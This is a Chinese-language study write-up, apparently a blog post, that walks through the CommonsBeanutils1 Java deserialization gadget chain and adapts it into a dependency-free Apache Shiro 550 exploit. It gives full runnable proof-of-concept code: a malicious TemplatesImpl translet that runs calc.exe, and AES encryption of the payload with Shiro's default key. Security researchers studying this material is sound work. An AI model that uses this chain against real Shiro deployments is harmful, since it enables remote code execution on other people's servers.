CommonsBeanutils与Shiro发序列化利用的学习

一、前言

前面的学习中，过了一遍cc1-cc7的利用链，在CC2的利用链中，学习了 java.util.PriorityQueue，它在Java中是一个优先队列，队列中每一个元素都有自己的优先级。在反序列化这个对象时，为了保证队列顺序，会进行重排序的操作，而排序会进行比较，进而执行 java.util.Comparator 接口的 compare()方法。那么，后续我们可以继续学习下其他利用 java.util.Comparator 对象。

二、初识 Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目，它提供了对普通Java类对象（也称为JavaBean）的一些操作方法。

比如，Cat是一个最简单的 JavaBean类：

final public class Cat{
    private String name = "catalina";
    
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

它包含一个私有属性name和读取、设置这个属性的方法，又称为 getter 和 setter，其中给getter的方法名以 get开头，setter的方法以set开头，全名符合骆驼式命名法（Camel-Case）。

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty，让使用者可以直接调用任意JavaBean 的 getter 方法，比如：

PropertyUtils.getProperty(new Cat(), "name");

此时，commons-beanutils 会自动找到 name 属性的 getter() 方法，也就是 getName，然后调用，获得返回值。除此之外， PropertyUtils.getProperty 还支持递归获取属性，比如 a对象中有属性b ， b对象有属性 c，我们可以通过 PropertyUtils.getProperty(a, "b.c")；的方式进行递归获取。通过这个方法，使用者可以很方便的调用任意对象的 getter，适用于在不确定 JavaBean 是哪个类对象时使用。当然， commons-beanutils 中还有很多类似的辅助方法，如调用 setter、拷贝属性等。

三、getter 的妙用

文章开头说过，再找过可以利用的 java.util.Comparator 对象，在 commons-beanutils 包中就存在一个： org.apache.commons.beanutils.BeanComparator

BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean是否相等的类，其实现了java.util.Comparator 接口

org.apache.commons.beanutils.BeanComparator.java

public int compare( final T o1, final T o2 ) {
    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
    }
    try {
        final Object value1 = PropertyUtils.getProperty( o1, property );
        final Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    catch ( final IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " +
            iae.toString() );
    }
    catch ( final InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " +
            ite.toString() );
    }
    catch ( final NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " +
            nsme.toString() );
    }
}

这个方法传入两个对象，如果 this.property 为空，则直接比较这两个对象；如果 this.property 不为空，则用 PropertyUtils.getProperty 分别取这两个对象的 this.property属性，比较属性的值。在上节说过 PropertyUtils.getProperty 这个方法会自动调用一个 JavaBean 的getter 方法，这个点就是任意代码执行的关键。有没有什么 getter 方法可以执行恶意代码呢？

在 java的类加载机制的学习_java是如何加载类的-CSDN博客文章中，有过这么一条关于TemplatesImpl 的调用链的说明

追溯到最前面两个方法 TemplatesImpl#getOutputProperties() 、 TemplatesImpl#newTransformer() ，这两者都是 public属性，都可以被外部调用，当初我们分析是从 TemplatesImpl#newTransformer() 开始利用调用的；但是实际上， TemplatesImpl#getOutputProperties() 方法是调用链上的一环，它的内部调用了 TemplatesImpl#newTransformer() ，也就是我们后面用来执行恶意字节码的地方。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.java

public  synchronized Properties getOutputProperties() {
    try{
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e){
        return null;
    }
}

而 getOutputProperties 这个名字，是以get 开头，正符合 getter 的定义。

所以，PropertyUtils.getPropertyh( o1, property ) 这段代码，当 o1 是一个 TemplatesImpl对象，而property 的值为 outputProperties时，系那个会自动调用 getter，也就是 TemplatesImpl#getOutputProperties() 方法，触发代码执行。

四、反序列化利用链构造

首先还是创建 TemplatesImpl：

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class,getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后，实例化 BeanComparator， BeanComparator 构造函数为空时，默认的 property 就是空：

final BeanComparator comparator = new BeanComparator();

然后用这个comparator 实例化优先队列 PriorityQueue

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
//stub data for replacement later
queue.add(1);
queue.add(1);

我们添加了两个无害的可以比较的对象进队列中，前文说过， BeanComParator#compare() 中，如果this.property 为空，则直接比较这两个对象。这里实际上就是对两个1 进行排序。

初始化时使用无害对象，且 property 为空，这一系列操作是为了初始化的时候不要出错。然后，我们再用反射将 property 的值设置成恶意的 outputProperties，将队列里的两个替换成恶意的 TemplateImpl 对象：

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj,obj});

构造的POC如下：

运行环境：

Java 1.8.0_71

maven依赖：

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.4</version>
</dependency>

evil.java


package com.vulhub.Ser;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


public class evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");

    }
}

CommonsBeanutils1.java


package com.vulhub.Ser;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

五、Shiro550 利用链

在之前文章TemplatesImpl 在Shiro中的利用链学习1_org.apache.shiro.io.classresolvingobjectinputstrea-CSDN博客

的学习中，用了P神的 shirodemo，在里面提到过几个依赖库：

前4个依赖和项目本身有关，少了他们这个demo会出错或功能确实。但是第5个依赖，commons-collections主要是为了演示漏洞。那么，实际的场景下，目标可能并没有安装 commons-collections，这个时候还能怎么利用这个 shiro反序列化漏洞呢？

我们将项目的commons-collections的依赖关闭，查看项目结构，发现 commons-beanutils:1.8.3赫然在列。也就是说 Shiro是依赖于 commonst-beanutils的。

尝试用上文构造的poc，构造一个shiro的payload，需要做以下两件事，

第一是改变maven中 commons-beanutils 依赖的版本，上面用的 commons-beanutils 1.9.4, demo中的用的是 commons-beanutils 1.8.3 ，不然会报错

Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

如果两个不同版本的库使用了同一个类，而这两个类可能有一些方法和属性有了变化，此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此，Java在反序列化的时候提供了一个机制，序列化时会根据固定算法计算出一个当前类的serialVersionUID值，写入数据流中；反序列化时，如果发现对方的环境中这个类计算出的serialVersionUID不同，则反序列化就会异常退出，避免后续的未知隐患。

当然，开发者也可以手工给类赋予一个serialVersionUID值，此时就能手工控制兼容性了

第二，在原先的基础上，将序列化字节流重新加密下，生成shiro的payload

        //输出 Shiro的payload
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.println(ciphertext.toString());

点击发送payload，然后发现还是报错了:

Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.

简单来说就是没找到 org.apache.collections.comparators.ComparableComparator 类，从包名可以看出，这个类来自 commons-collections。

commons-beanutils 本来依赖于 commons-collections ，但是在Shiro中，它的 commons-beanutils 虽然包含了一部分 commons-collections的类，但却不全。这也导致，正常使用 Shiro 的时候不需要依赖于 commons-collections，但反序列化利用的时候需要依赖于 commons-collections。

六、无依赖的 Shiro 发序列化利用链

我们先看下 org.apache.collections.comparators.ComparableComparator 类在哪里使用了

在 BeanComparator类的构造函数处，当没有显式传入Comparator 的情况下，则默认使用 org.apache.commons.collections.comparators.ComparableComparator 这也是报错的原因，我们poc中没有指定，导致用了commons-collections 包的 ComparableComparator类。

既然Shiro中没有org.apache.commons.collections.comparators.ComparableComparator

就需要重新找一个类来替换，需要满足下面几个条件：

实现java.util.Comparator 接口
实现 java.io.Serializable 接口
Java、shiro 或 commons-beanutils 自带，兼容性强

通过 IDEA 的功能，我们找到一个 CaseInsensitiveComparator ：

相关代码如下：

java.lang.String 

public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();
    private static class CaseInsensitiveComparator
            implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID from JDK 1.2.2 for interoperability
        private static final long serialVersionUID = 8575799808933029326L;

        public int compare(String s1, String s2) {
            int n1 = s1.length();
            int n2 = s2.length();
            int min = Math.min(n1, n2);
            for (int i = 0; i < min; i++) {
                char c1 = s1.charAt(i);
                char c2 = s2.charAt(i);
                if (c1 != c2) {
                    c1 = Character.toUpperCase(c1);
                    c2 = Character.toUpperCase(c2);
                    if (c1 != c2) {
                        c1 = Character.toLowerCase(c1);
                        c2 = Character.toLowerCase(c2);
                        if (c1 != c2) {
                            // No overflow because of numeric promotion
                            return c1 - c2;
                        }
                    }
                }
            }
            return n1 - n2;
        }
    }

这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类，其实现了Comparator 和 Serializable ，且位于Java的核心代码中，兼容性强，是一个完美替代品。

并且通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 caseInsensitiveComparator 对象，用它来实例化 BeanComparator：

final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);

后面添加的对象要是字符类型，把1 改成“1” 即可:

queue.add(“1”);
queue.add(“1”);

最终poc如下：

CommonsBeanutils1.java

package com.vulhub.Ser;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        //需要添加字符串
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        //输出 Shiro的payload
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.println(ciphertext.toString());

        //System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

其实也有用 java.util.Collections$ReverseComparator类的；

java.util.Collections.java

public static <T> Comparator<T> reverseOrder() {
        return (Comparator<T>) ReverseComparator.REVERSE_ORDER;
    }

    /**
     * @serial include
     */
    private static class ReverseComparator
        implements Comparator<Comparable<Object>>, Serializable {

        private static final long serialVersionUID = 7207038068494060240L;

        static final ReverseComparator REVERSE_ORDER
            = new ReverseComparator();

        public int compare(Comparable<Object> c1, Comparable<Object> c2) {
            return c2.compareTo(c1);
        }

        private Object readResolve() { return reverseOrder(); }
    }

通过 java.util.Collections.reverseOrder()能够取得 ReverseComparator 对象